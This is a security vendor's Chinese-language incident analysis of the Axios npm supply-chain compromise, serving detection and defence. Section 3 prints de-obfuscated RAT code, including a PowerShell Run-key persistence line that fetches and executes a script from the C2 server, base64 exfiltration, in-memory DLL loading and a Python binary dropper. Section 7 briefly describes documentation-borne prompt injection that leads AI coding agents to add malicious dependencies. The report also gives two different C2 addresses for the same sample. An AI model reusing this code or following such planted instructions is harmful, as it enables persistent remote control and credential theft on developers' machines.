Axios遭遇“指令闪击”——npm仓库OrDer木马投毒事件分析

时间 :  2026年03月31日

1.概述


2026年3月31日,知名JavaScript HTTP客户端库Axios在npm仓库遭遇供应链投毒攻击成为近期又一起重大开源软件供应链攻击事件,对AI软件生态构成重大关联威胁。安天CERT对其Powershell、Python和MacOS相关恶意代码样本载荷做了完整分析,并基于其解密密钥中的字符串“OrDer”,将本事件中文命名为“指令闪击”,安天AVL SDK引擎、智甲EDR、在线分析能力等进行了快速应对升级,将以上工作情况与基于大模型的信息汇聚结合,我们发布本报告。

特别说明:我们将尚在开发中的新产品AVL Code投入了本次事件样本的自动化分析工作,输出长图,作为本报告的附件一。我们将在4月1日的在哈工大举行的“冰城虾友会”技术沙龙,对AVL Code等四款新品开启线上预约。直播信息明日公众号公布。

Axios是一个基于Promise的JavaScript HTTP客户端库,可用于浏览器和Node.js环境。它是一个“同构”(isomorphic)库,意味着同一套代码可以在浏览器和服务器端运行——在浏览器中使用XMLHttpRequest,在Node.js中使用原生http模块。Axios是npm上最受欢迎的JavaScript包之一,具有惊人的下载量和影响面:

指标

数据

周下载量

超过8300万次

当日下载量

12,000,000 (截至到 20:38 统计)

历史峰值

部分统计显示曾超过3亿次周下载量

许可证

MIT License(保留软件声明可无限分发使用)

当前版本

1.14.0

攻击者通过窃取核心维护者npm账号,在短时间内发布了axios@1.14.1和axios@0.30.4两个恶意版本,通过植入恶意依赖plain-crypto-js@4.2.1,在用户安装时自动投递跨平台远程访问木马(RAT)。作为npm生态中周下载量超8000万的核心基础库,Axios此次被投毒影响范围极广,涉及全球数百万开发者及项目,大量基于JavaScript的Web应用、前端项目及后端服务均面临被入侵的风险,目前恶意版本已被npm官方紧急下架。

安天针对本事件进行了快速响应:进行了AVL SDK反病毒引擎规则库升级、智甲EDR主防规则库升级、计算机病毒分类百科全书在线分析功能改善,并拟在百科全书推出新的知识频道——AI供应链安全分析。

近期AI生态相关软件供应链投毒频发,我们依托大模型梳理了相关主要事件、分析了关联风险,给出了防护建议。

2.攻击事件详情


2.1 时间线

表2-1 Axios npm供应链投毒事件时间线

时间

事件

2026-03-30 05:57UTC

攻击者注册nrwise账户,发布干净的诱饵包plain-crypto-js@4.2.0,建立正常发布历史

2026-03-30 23:59UTC

攻击者发布含恶意postinstall钩子的plain-crypto-js@4.2.1

2026-03-31 00:21UTC

攻击者发布axios@1.14.11.x主线版本)

2026-03-31 01:00UTC

攻击者发布axios@0.30.40.x旧分支版本)

2026-03-31 03:15UTC

npm官方发现并下架两个恶意axios版本

2026-03-31 04:26UTC

npm官方发布安全占位包,阻断plain-crypto-js@4.2.1安装

2026-03-31 08:00-12:00

OpenClaw用户因上游依赖污染被动接触恶意代码

2.2 攻击手段

攻击者首先窃取了Axios核心维护者jasonsaayman的npm账户权限,将注册邮箱修改为匿名ProtonMail地址(ifstap@proton.me),随后利用长期有效的npm访问令牌手动发布恶意版本,绕过了Axios官方的GitHub Actions + OIDC可信发布机制。恶意版本特征:无OIDC签名、无gitHead字段、无对应GitHub commit/tag,发布方式为手动npm CLI而非CI/CD自动化流程。攻击者在axios的package.json中悄悄添加了plain-crypto-js@^4.2.1,但Axios源码中从未import或require该包。当用户执行npm install axios@1.14.1时,npm自动解析依赖树并安装plain-crypto-js@4.2.1,随后触发postinstall钩子执行node setup.js,自动启动恶意程序。

2.3 恶意代码功能

plain-crypto-js@4.2.1中的setup.js是一个高度混淆的RAT投放器,支持macOS、Windows、Linux三平台。C2服务器地址:http://sfrclak.com:8000/6202033

表2-2 各平台攻击方式汇总

平台

攻击方式

文件路径

macOS

生成AppleScript临时文件,通过osascript静默执行;连接C2下载Mach-O RAT;赋权chmod 770后后台持久化运行

/Library/Caches/com.apple.act.mond

Windows

定位PowerShell路径,复制为wt.exe伪装Windows Terminal;写入VBScript隐藏窗口执行PowerShell脚本;下载RAT载荷后自删除

C:\ProgramData\wt.exe(持久化);%TEMP%\6202033.ps1(临时)

Linux

直接通过curl下载Python RAT脚本,使用nohup后台持久化执行

/tmp/ld.py

自清除机制:执行完成后,恶意脚本删除setup.js自身、删除含postinstall钩子的package.json,将预置的干净存根package.md重命名为package.json,事后审计无法发现痕迹。

3.技术分析


3.1 恶意包结构分析

plain-crypto-js@4.2.1包结构关键特征:

package.json中含postinstall钩子:"postinstall": "node setup.js"

包含预置的干净存根package.md(版本4.2.0内容,无postinstall)

setup.js采用双层混淆:字符串数组+自定义解码函数

setup.js关键字符串(解码后):child_process、os、fs、http://sfrclak.com:8000/

表3-1 样本标签

恶意代码名称

Trojan/JS.OrDeR[Downloader]

MD5

7658962AE060A222C0058CD4E979BFA1

原始文件名

setup.js

文件大小

4.11 KB4209字节)

文件格式

Script/Netscape.JS

信息来源

Virusview.net

分析时间

2026-03-31 19:32:16

混淆的setup.js代码如下图所示:

图3-1 混淆的setup.js代码

解混淆后的setup.js代码如下图所示:

图3-2 解混淆后的代码

ord = “OrDeR_7077”定义了解密密钥,OrDeR 7077被转换为数字数组时,只有最后4位数字7077有效(字母转换为NaN,在JavaScript位运算中视为0),实际有效密钥为[0,0,0,0,0,0,7,0,7,7],我们按照提取特殊字符串作为恶意代码命名的原则,将相关恶意代码家族命名为OrDeR,并均划入特洛伊木马(Trojan)类别。解密后得到如下表所示明文内容:

表3-2 关键字符串解密结果

数组索引

解密后内容

功能描述

stq[0]

"child process"

Node.js子进程模块

stq[1]

"os"

操作系统信息模块

stq[2]

"fs"

文件系统模块

stq[3]

"http://45.142.212.18:8080/"

C2服务器地址

stq[5]

"win32"

Windows平台标识

stq[6]

"linux"

Linux平台标识

stq[7]

Windows PowerShell下载脚本

Windows端恶意脚本

stq[9]

Linux bash下载脚本

Linux端恶意脚本

stq[13]

当前脚本文件名

用于自我删除

3.2 各平台Payload解码

根据不同的操作系统发送不同的请求,如下表所示:

表3-3 各平台Payload解码

平台

POST body

执行命令

macOS

packages.npm.org/product0

curl下载二进制至/Library/Caches/com.apple.act.mondchmod 770nohup后台执行

Windows

packages.npm.org/product1

curl下载.ps1脚本,powershell -w hidden -ep bypass执行

Linux

packages.npm.org/product2

curl下载Python脚本至/tmp/ld.pynohup后台执行

3.2.1 Powershell脚本分析

该PowerShell样本是一个针对Windows环境的远程控制木马。其核心特征在于利用注册表Run键和隐藏的批处理文件实现开机隐蔽驻留,并通过伪造陈旧的IE 8浏览器流量与命令与控制(C2)服务器维持长连接信标。除了常规的系统指纹收集与高价值文件目录遍历外,该样本最具威胁的能力是支持“无文件”攻击。它能够接收远端下发的恶意脚本或二进制数据,利用注入技术直接在当前PowerShell进程的内存中加载并执行载荷。

3.2.1.1 样本标签

表3-4 样本标签

恶意代码名称

Trojan/PowerShell.OrDeR[Backdoor]

MD5

04E3073B3CD5C5BFCDE6F575ECF6E8C1

原始文件名

6202033

文件大小

10.78 KB11042字节)

文件格式

Script/Microsoft.PowerShell

信息来源

Virusview.net

分析时间

2026-03-31 19:46:50

3.2.1.2 持久化机制

脚本在C:\ProgramData目录下创建了一个名为system.bat的隐藏批处理文件。它将这个批处理文件添加到了当前用户的启动注册表项中,并将其伪装成MicrosoftUpdate。

$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

$regName = "MicrosoftUpdate" #

$batFile = Join-Path $env:PROGRAMDATA "system.bat"

$batCont = "start /min powershell -w h -c " + """" + "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '" + $url + "' -Method POST -Body 'packages.npm.org/product1').Content))) '" + $url + "'"""

Set-Content -Path $batFile -Value $batCont -Encoding ASCII

Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden

Set-ItemProperty -Path $regKey -Name $regName -Value $batFile

3.2.1.3 C2通信与数据外发

伪造HTTP头部,并将外发数据进行了Base64编码以逃避明文检测。

function Get-Response {

    $wc = New-Object System.Net.WebClient

    $wc.Headers["User-Agent"] = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"

    $wc.Headers["Content-Type"] = "application/x-www-form-urlencoded"

    $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($body)

    $base64Body = [Convert]::ToBase64String($bodyBytes)

    $postBytes = [System.Text.Encoding]::UTF8.GetBytes($base64Body)

    $responseBytes = $wc.UploadData($url, "POST", $postBytes)

    return $responseBytes

}

3.2.1.4 内存加载与PE注入

接收远端下发的Base64编码的DLL和二进制数据,直接在PowerShell进程的内存中加载执行,不产生落地文件。

function Do-Action-Ijt {

    [byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll)

    [byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)

    $assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni)

    $class = $assem.GetType("Extension.SubRoutine")

    $method = $class.GetMethod("Run2")

    $method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))

}

3.2.1.5 动态脚本执行

根据下发脚本的大小,采取不同的执行策略来绕过PowerShell的执行策略。

function Do-Action-Scpt {

    if ($payload.Length -ge 10240) {

        $tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N")))

        Set-Content -Path $tempFile -Value $payload -Encoding UTF8 -Force

        $res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass -File `"$tempFile`" `"$param`" 2>&1"       

        if (Test-Path $tempFile) { Remove-Item $tempFile -Force -ErrorAction SilentlyContinue }

        return $res

    }

    else {

        $res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass -EncodedCommand $enc"

        return $res

    }

}

3.2.2 Python脚本分析

该Python样本是前述Windows木马的Linux跨平台同源组件,主要扮演长期驻留的后门与有效载荷释放器角色。它通过直接解析Linux底层的/proc和/sys伪文件系统,提取极度详尽的硬件生命周期与进程级上下文指纹。在网络通信层面,它完全复用了Windows版的JSON结构与伪造的IE 8请求头,暴露出攻击者试图混淆跨平台流量画像的规避意图。在破坏力方面,该程序不仅能利用原生解释器(python3 -c)在内存中执行恶意代码片段,还能将远端的二进制载荷隐蔽释放至/tmp目录并强行赋予最高执行权限。

3.2.2.1 样本标签

表3-5 样本标签

恶意代码名称

Trojan/Python.OrDeR[Backdoor]

MD5

9663665850CDD8FE12E30A671E5C4E6F

原始文件名

ld.py

文件大小

12.03 KB12323字节)

文件格式

Script/Python.PY

信息来源

Virusview.net

分析时间

2026-03-31 19:22:30

3.2.2.2 二进制文件落地与执行

将远端传回的二进制恶意程序隐藏在/tmp目录下,并通过os.chmod强行赋予777的权限,最后拉起子进程执行该程序。

def do_action_ijt(ijtbin, param):

    payload = base64.b64decode(b64_string)

    file_path = f"/tmp/.{generate_random_string(6)}"

    try:

        with open(file_path, "wb") as file:

            file.write(payload)

        os.chmod(file_path, 0o777)

        subprocess.Popen(

            [file_path] + shlex.split(param.decode("utf-8", errors="strict"))

        )

3.2.2.3 内存执行恶意代码

当黑客下发runscript指令时,该模块会被触发。它接收Base64编码的Python代码,解码后直接在当前进程的内存中解释执行这段恶意代码。

def do_action_scpt(scpt, param):

    payload = base64.b64decode(scpt).decode("utf-8", errors="strict")

    result = subprocess.run(

        ["python3", "-c", payload] + shlex.split(param),

        stdout=subprocess.PIPE,

        stderr=subprocess.STDOUT,

        text=True

    )

3.2.3 MacOS样本分析

该样本针对macOS环境的恶意样本通过参数指定的C2服务器建立通信,每60秒周期性回传包含系统版本、时区及CPU类型等指纹信息的JSON数据并轮询指令;其核心后门功能涵盖四大维度:接收kill指令进行自我销毁、接收二进制载荷落地并利用codesign自签名以绕过苹果安全机制进行执行(peinject)、借助osascript隐蔽运行AppleScript脚本并回显结果(runscript),以及深度遍历指定路径并外发文件元数据(rundir),最终实现对受感染Mac主机的任意代码执行与敏感数据窃取。

表3-6 样本标签

恶意代码名称

Trojan/MacOS.OrDeR[Backdoor]

MD5

7A9DDEF00F69477B96252CA234FCBEEB

原始文件名

com.apple.act.mond

文件大小

642.02 KB657424字节)

文件格式

BinExecute/Apple.MACHO[:FAT Big Endian]

信息来源

Virusview.net

分析时间

2026-03-31 19:33:21

获取系统版本、时区、CPU类型等各种参数并以json格式发送至C2服务器。C2服务器地址由参数1指定。

图3-3 获取系统信息发送至C2服务器

每间隔60秒获取C2指令,其中的type字段为命令类型。该值为kill时,样本将退出并回复成功。

图3-4 获取C2指令

指令为peinject时,样本会获取base64格式的可执行文件载荷,写入临时目录下并使用codesign自签名,以绕过macOS代码签名限制。然后根据指定的参数执行。

图3-5 绕过macOS代码签名限制

指令为runscript时,样本获取Base64编码的AppleScript脚本,写入临时文件后调用osascript执行,捕获输出结果返回给C2。

图3-6 调用osascript执行

指令为rundir时,样本遍历ReqPaths中的目录路径,调用GetDetailedFileList获取目录下文件详细信息,汇总后返回给C2。

图3-7 获取目录下文件详细信息

3.3 合法版本与恶意版本对比

为便于识别受污染组件与正常版本差异,现从发布身份、供应链可信性及依赖完整性等维度进行对比分析:

表3-7 合法版本与恶意版本对比

对比项

axios@1.14.0(合法)

axios@1.14.1(恶意)

_npmUser

GitHub Actions
npm-oidc-no-reply@github.com

jasonsaayman
ifstap@proton.me

trustedPublisher

有(github, OIDC绑定)

gitHead

有(对应GitHub commit

plain-crypto-js

发布方式

GitHub Actions + OIDC

手动npm CLI

4.事件影响与警示


4.1 事件影响范围

任何在事件窗口内(2026年3月31日00:00-04:26 UTC)运行npm install或npm update,且依赖范围允许拉取1.14.1或0.30.4的项目均受影响。使用caret范围(如^1.14.0或^0.30.0)的项目可能在不知情情况下自动中招。潜在风险包括:远程控制、系统信息窃取、持久化后门建立。

4.2 三项典型特征

综合分析本次事件的攻击实现与投递方式,可归纳出以下三大典型特征:

表4-1 攻击活动的三个典型特征

特征

描述

高度工程化

精准利用npm包管理机制与postinstall钩子,绕过CI/CD直接手动发布

跨平台覆盖

一套投放逻辑同时适配Win/macOS/LinuxC2域名统一,降低攻击成本

强对抗设计

执行后自动销毁脚本+覆盖配置文件,规避常规审计,事后取证困难

5.IT运营者的应对与防护建议


5.1 立即排查

针对本次供应链威胁事件,需要组织第一时间开展全面排查工作,重点关注依赖完整性及主机异常行为。具体排查项及方法如下:

表5-1 排查项和方法

排查项

命令/方法

检查axios版本

npm ls axios 或检查package-lock.json,确认版本是否为1.14.10.30.4

检查plain-crypto-js依赖

ls node_modules/plain-crypto-js(目录存在即为感染证据)

macOS RAT痕迹

ls -la /Library/Caches/com.apple.act.mond

Linux RAT痕迹

ls -la /tmp/ld.py

Windows RAT痕迹

dir "%PROGRAMDATA%\wt.exe"

外联行为

检查防火墙/流量日志中是否有到sfrclak.com:8000的外联请求

5.2 紧急处置

在确认存在风险或疑似感染后,应立即采取以下措施进行隔离与清除,防止进一步扩散:

表5-2 紧急处置措施

处置措施

具体操作

卸载受影响版本

npm uninstall axios && npm install axios@1.14.01.x用户)或axios@0.30.30.x用户)

删除恶意依赖

rm -rf node_modules/plain-crypto-js

清空npm缓存

npm cache clean --force

添加版本锁定

package.json中添加overrides块防止恶意版本被重新拉取

5.3 长期防护

在npm配置中禁止postinstall脚本自动执行:npm config set ignore-scripts true;

严格使用package-lock.json锁定版本,避免使用latest模糊安装;

生产环境建议使用npm ci替代npm install,走lockfile精确安装;

CI/CD系统中使用--ignore-scripts参数,防止postinstall钩子在自动化构建中运行;

对MCP服务调用增加沙箱隔离与网络出站策略管控;

建议定期审计依赖项中的新增包,重点关注有postinstall钩子但源码中无引用的依赖;

组织层面引入供应链安全扫描机制(如OSV、Dependency-Track);

6.安天相关能力响应


6.1 安天AVL SDK反病毒引擎

针对此次Axios供应链投毒攻击事件,安天反病毒引擎新增四个条恶意代码命名和对应的检测规则,命名均严格按照“分类/环境前缀.家族名称[关键行为]”的结构化命名,分别为Trojan/JS.OrDeR[Downloader]、Trojan/Python.OrDeR[Backdoor]、Trojan/MacOS.OrDeR[Backdoor]、Trojan/PowerShell.OrDeR[Backdoor],可有效检出本次事件涉及的全部威胁文件。使用安天引擎的生态伙伴,请及时将安天引擎病毒库升级至2026033119及以上版本。

6.2 安天智甲安全EDR

针对此次Axios供应链投毒攻击事件。安天智甲终端防御系统主动防御规则紧急更新推送,可有效阻断此次投毒事件攻击链,及部分类似攻击。请及时升级安天智甲病毒库版本至202603311600,即可确保防护能力生效。

相关主防规则如下:

规则名称

规则ID

检测逻辑

NPM生命周期脚本异常转接告警

wop0080505

父进程为node.exe且子进程为wscript.exe,且命令行参数包含%TEMP%路径下的.vbs文件。

伪造PS脚本落地告警

wof0010276

任何从node_modules目录下发起的向%PROGRAMDATA%写入无有效签名的可执行文件或伪装PowerShell.exewscript.exe文件。

伪造PS脚本执行告警

wop0080506

重命名或伪装后的 PowerShell 进程(如 wt.exe)调用 .ps1 脚本的执行行为。

持久化启动项伪装补丁告警

wor0060019

拦截在注册表 Run 键值中创建名为 MicrosoftUpdate 且指向非标准路径可执行程序的启动项动作。

恶意脚本执行告警

wop0081032

禁止python加载恶意脚本/tmp/ld.py

恶意 C2 域名与载荷分发检测

升级病毒库202603311600以上

针对已知威胁域名sfrclak.com及载荷分发路径 packages.npm.org/product1进行流量阻断。

6.3 安天病毒百科及在线分析服务

安天文件分析服务(https://fenxi.antiy.cn)可有效检测本次 Axios 供应链投毒攻击事件相关恶意样本,用户可上传未知可疑文件进行在线检测研判。

图6-1 安天文件分析服务

计算机病毒百科将发布新的知识频道AI供应链安全事件。

图6-2 计算机病毒百科

7.扩展阅读:为什么供应链成为攻击集火点


7.1 软件供应链投毒被广泛使用的核心原因

AI生态的特殊性决定了供应链成为威胁对抗的核心突破口,区别于传统泛供应链安全,AI供应链的“连接性、信任性、规模化”特性,让其成为攻击者的最优选择,核心原因可归结为以下4点:

1) AI生态供应链的“枢纽效应”显著,攻击性价比极高

AI生态供应链呈现“上游集中、下游辐射”的格局,核心组件(如LiteLLM、OpenClaw技能市场)作为连接大模型、开发工具、终端用户的枢纽,具备“单点突破、全域渗透”的优势。攻击者无需针对每个AI应用或用户单独攻击,只需攻陷一个核心供应链节点(如开源框架、CDN、技能市场),即可借助AI生态的依赖关系,快速辐射至数千个下游项目、数十万用户,大幅降低攻击成本,提升攻击覆盖面。例如LiteLLM作为连接100+大模型的中间件,支撑2112个下游包,其投毒事件在3小时内即造成大范围感染,攻击性价比远超传统单点攻击。

2) AI生态“默认信任”机制,降低攻击门槛

AI开发与应用高度依赖开源生态、官方工具和权威文档,开发者普遍对AI框架、官方CDN、技能市场、PyPI仓库等供应链环节存在“默认信任”,常规安全策略会直接放行相关操作,形成天然安全漏洞。攻击者正是利用这一特性,将恶意代码伪装成合法组件(如OpenClaw的实用插件、LiteLLM的官方版本、Apifox的CDN脚本),借助AI生态的信任链条,轻松绕过终端防护、防火墙等传统安全措施,实现无感知渗透。这种“利用信任突破防护”的方式,无需复杂攻击技术,大幅降低了AI场景供应链攻击的门槛。

3) AI供应链组件权限高、敏感信息集中,攻击收益极大

AI供应链核心组件(如AI框架、开发工具、云服务)为实现核心功能,通常需要系统级高权限运行,且天然持有全量敏感信息——包括大模型API密钥、云服务访问凭证、SSH密钥、数据库配置、CI/CD流水线令牌等,相当于AI生态的“密钥库”。一旦攻陷这些供应链节点,攻击者可直接获取高权限,无限制访问敏感数据、操控AI基础设施,甚至篡改模型权重、影响AI决策,攻击收益远超传统供应链攻击。例如LiteLLM投毒事件中,攻击者通过恶意代码遍历50+类敏感路径,窃取全量资产并实现持久化控制,对企业AI基础设施造成毁灭性打击。

4) AI生态供应链安全体系滞后,防御能力薄弱

当前AI技术处于快速迭代阶段,行业重心集中在功能创新与效率提升,供应链安全体系建设严重滞后,诸多安全短板为攻击者提供了可乘之机。一方面,AI开源组件、技能市场、开发工具的审核机制松散(如OpenClaw ClawHub低审核、PyPI仓库版本审核不严格),难以发现恶意组件;另一方面,传统安全防护机制(如防火墙、终端防护)针对AI供应链攻击的针对性不足,无法识别“合法应用发起的异常请求”,对官方渠道分发的无特征恶意文件无能为力。此外,AI开发中“效率优先于安全”的理念,导致权限最小化配置缺失、密钥管理松散,进一步削弱了供应链防御能力,让供应链成为AI威胁对抗的薄弱环节和关键入口。

7.2 近期AI供应链事件列表

1. OpenClaw「利爪浩劫」投毒事件(2026年2月):攻击者利用OpenClaw智能体技能市场ClawHub低审核机制,批量上传千余个恶意技能插件,同时伪造仿冒npm包,诱导用户安装,实现供应链投毒,波及全球超27万OpenClaw公网实例。

2. LiteLLM供应链投毒事件(2026年3月):GitHub星标超4万的AI大模型网关库LiteLLM,其PyPI平台1.82.7、1.82.8版本被植入恶意代码,攻击者通过攻陷CI/CD流水线依赖的Trivy工具,窃取发布令牌实现恶意包发布,波及数千个下游AI框架。

3. Apifox CDN投毒事件(2026年3月):攻击者劫持Apifox官方CDN域名,将正常JS文件替换为恶意版本,AI开发工具Apifox客户端启动时自动加载该恶意脚本,窃取用户SSH密钥、命令行历史等敏感数据,潜伏18天造成大范围影响。

4. ContextHub文档诱导投毒事件(2026年3月):攻击者利用AI编码代理对官方文档的信任,在项目文档中植入恶意指令,诱导AI模型生成代码时写入恶意依赖包,实现供应链级规模化扩散。

表7-1 近期AI生态供应链安全事件比对分析

事件名称

发生时间

攻击环节

攻击手法

影响范围

核心危害

AI场景特性关联

OpenClaw「利爪浩劫」投毒

20262

技术层(AI智能体插件)

利用技能市场低审核,批量上传恶意插件;伪造仿冒npm包诱导安装

全球超27OpenClaw公网实例,20余个国家和地区受感染

窃取浏览器密码、SSH密钥、云服务凭证等敏感信息,实现AI智能体远程控制

依托个人AI代理开源特性,利用插件生态开放、审核松散的漏洞,精准针对AI智能体用户群体

LiteLLM供应链投毒

20263

技术层(AI框架/工具链)

攻陷CI/CD流水线依赖的Trivy工具,窃取PyPI发布令牌,植入恶意.pth文件,实现静默执行

全球数千个下游AI框架(含DSPyOpen Interpreter等),个人开发环境与企业生产集群

窃取全量敏感资产(SSH私钥、云凭证等),加密外传并实现持久化驻留,影响AI开发全流程

利用AI框架“连接中枢”属性,依托其广域依赖链,实现“一人投毒,全域中招”的链式反应

Apifox CDN投毒

20263

应用层(AI开发工具)

劫持官方CDN域名,替换正常JS文件为恶意版本,客户端启动时自动加载,动态获取攻击载荷

Apifox全平台用户,波及互联网、金融、智能制造等多领域AI基础设施

窃取SSH密钥、命令行历史等敏感数据,依托工具正常启动流程实现静默攻击,排查难度高

利用AI开发工具对官方CDN的天然信任,结合Electron框架安全设计短板,实现无感知渗透

ContextHub文档诱导投毒

20263

技术层(AI开发文档)

在官方文档中植入恶意指令,诱导AI模型生成代码时写入恶意依赖包,借助AI编码代理扩散

依赖ContextHub文档的AI开发团队,下游所有执行pip install的开发者环境

低成本实现供应链级扩散,恶意依赖包安装后可窃取敏感信息,攻击隐蔽性极强

利用AI模型对官方文档的信任,将提示注入与供应链攻击结合,形成新型AI场景攻击范式

7.3 体系化安全闭环防御思路

供应链环节

核心暴露点

具体表现

关联AI场景

基础层(算力/数据)

算力硬件固件漏洞、训练数据污染、数据标注工具篡改

1. AI芯片(GPU/TPU)固件植入后门;2. 公开训练数据集混入恶意样本;3. 第三方数据标注工具携带恶意代码

大模型训练、AI芯片部署、数据标注平台

技术层(框架/工具/模型)

开源框架漏洞、AI工具链投毒、模型权重篡改、插件审核缺失

1. PyPI等平台AI相关依赖包投毒;2. AI开发工具(ApifoxCDN劫持;3. 开源AI框架(LiteLLMCI/CD流水线被入侵;4. AI智能体技能市场低审核导致恶意插件泛滥

AI开发部署、AI智能体(OpenClaw)、大模型微调、CI/CD流水线

应用层(终端/服务)

AI应用插件篡改、终端AI工具远程资源劫持、API接口污染

1.个人AI代理插件植入恶意代码;2. AI客户端加载恶意远程脚本;3. 第三方AI API接口被篡改,返回恶意结果

个人AI代理(OpenClaw)、AI开发终端、AI API调用服务

支撑层(云服务/运维)

AI云服务凭证泄露、MLOps工具漏洞、容器镜像污染

1. 云算力平台访问凭证被窃取;2. MLOps工具权限管控不足;3. AI部署所用容器镜像(如Trivy)被篡改

云原生AI部署、大模型云服务、AI运维管理

8.IoCs


IoCs

E10B1FA84F1D6481625F741B69892780140D4E0E7769E7491E5F4D894C2E0E09

FCB81618BB15EDFDEDFB638B4C08A2AF9CAC9ECFA551AF135A8402BF980375CF

617B67A8E1210E4FC87C92D1D1DA45A2F311C08D26E89B12307CF583C900D101

92FF08773995EBC8D55EC4B8E1A225D0D1E51EFA4EF88B8849D0071230C9645A

142.11.196.73

142.11.199.73

142.11.206.73

sfrclak.com

callnrwise.com

附录一:AVL Cloud的自动化样本分析报告


附录二:参考资料


[1] axios Compromised on npm - Malicious Versions Drop Remote Access Trojan
https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
[2] OpenClaw又又又危!Axios npm被投毒,植入全平台木马
https://mp.weixin.qq.com/s/RlDHkCSp_CzOzP2gt7jyQg
[3] LiteLLM供应链投毒事件解析【聚合情报】
https://mp.weixin.qq.com/s/KTK0O8Qzvh4PowUf2_sTNA
[4] 利爪浩劫——面向AI代理OpenClaw技能市场的大规模投毒行动分析
https://www.antiy.com/response/OpenClaw_AI_Poisoning_Attack_Analysis.html
[5] Apifox供应链投毒攻击—完整技术分析
https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/
[6] AI supply chain attacks don’t even require malware…just post poisoned documentation
https://www.theregister.com/2026/03/25/ai_agents_supply_chain_attack_context_hub/